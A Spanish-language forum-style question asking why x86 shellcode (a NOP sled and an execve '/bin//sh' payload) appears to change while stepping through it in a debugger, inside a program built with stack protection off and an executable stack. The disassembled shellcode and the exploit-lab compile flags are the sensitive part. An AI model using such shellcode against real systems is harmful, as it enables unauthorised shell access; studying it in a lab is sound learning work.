Mis instrucciones de shellcode están cambiando durante la ejecución. No estoy seguro de por qué.
Aquí es cómo se ve mi código de shell:
=> 0xbffff0b3: nop
0xbffff0b4: nop
0xbffff0b5: xor eax,eax
0xbffff0b7: push eax
0xbffff0b8: push 0x68732f2f
0xbffff0bd: push 0x6e69622f
0xbffff0c2: mov ebx,esp
0xbffff0c4: push eax
0xbffff0c5: push esp
0xbffff0c6: push ebx
0xbffff0c7: mov al,0x3b
0xbffff0c9: push eax
0xbffff0ca: int 0x80
Paso por mi código y todo se ve bien al principio:
0xbffff0b5: xor eax,eax
0xbffff0b7: push eax
0xbffff0b8: push 0x68732f2f
=> 0xbffff0bd: push 0x6e69622f
0xbffff0c2: mov ebx,esp
0xbffff0c4: push eax
0xbffff0c5: push esp
0xbffff0c6: push ebx
De repente, cuando llego a mov ebx, esp , las instrucciones restantes cambian:
0xbffff0b7: push eax
0xbffff0b8: push 0x68732f2f
0xbffff0bd: push 0x6e69622f
=> 0xbffff0c2: mov ebx,esp
0xbffff0c4: das
0xbffff0c5: bound ebp,QWORD PTR [ecx+0x6e]
0xbffff0c8: das
0xbffff0c9: das
Así es como compilé el programa:
gcc vuln.c -o vuln -fno-stack-protector -z execstack
¡Cualquier explicación sobre lo que está pasando aquí sería genial!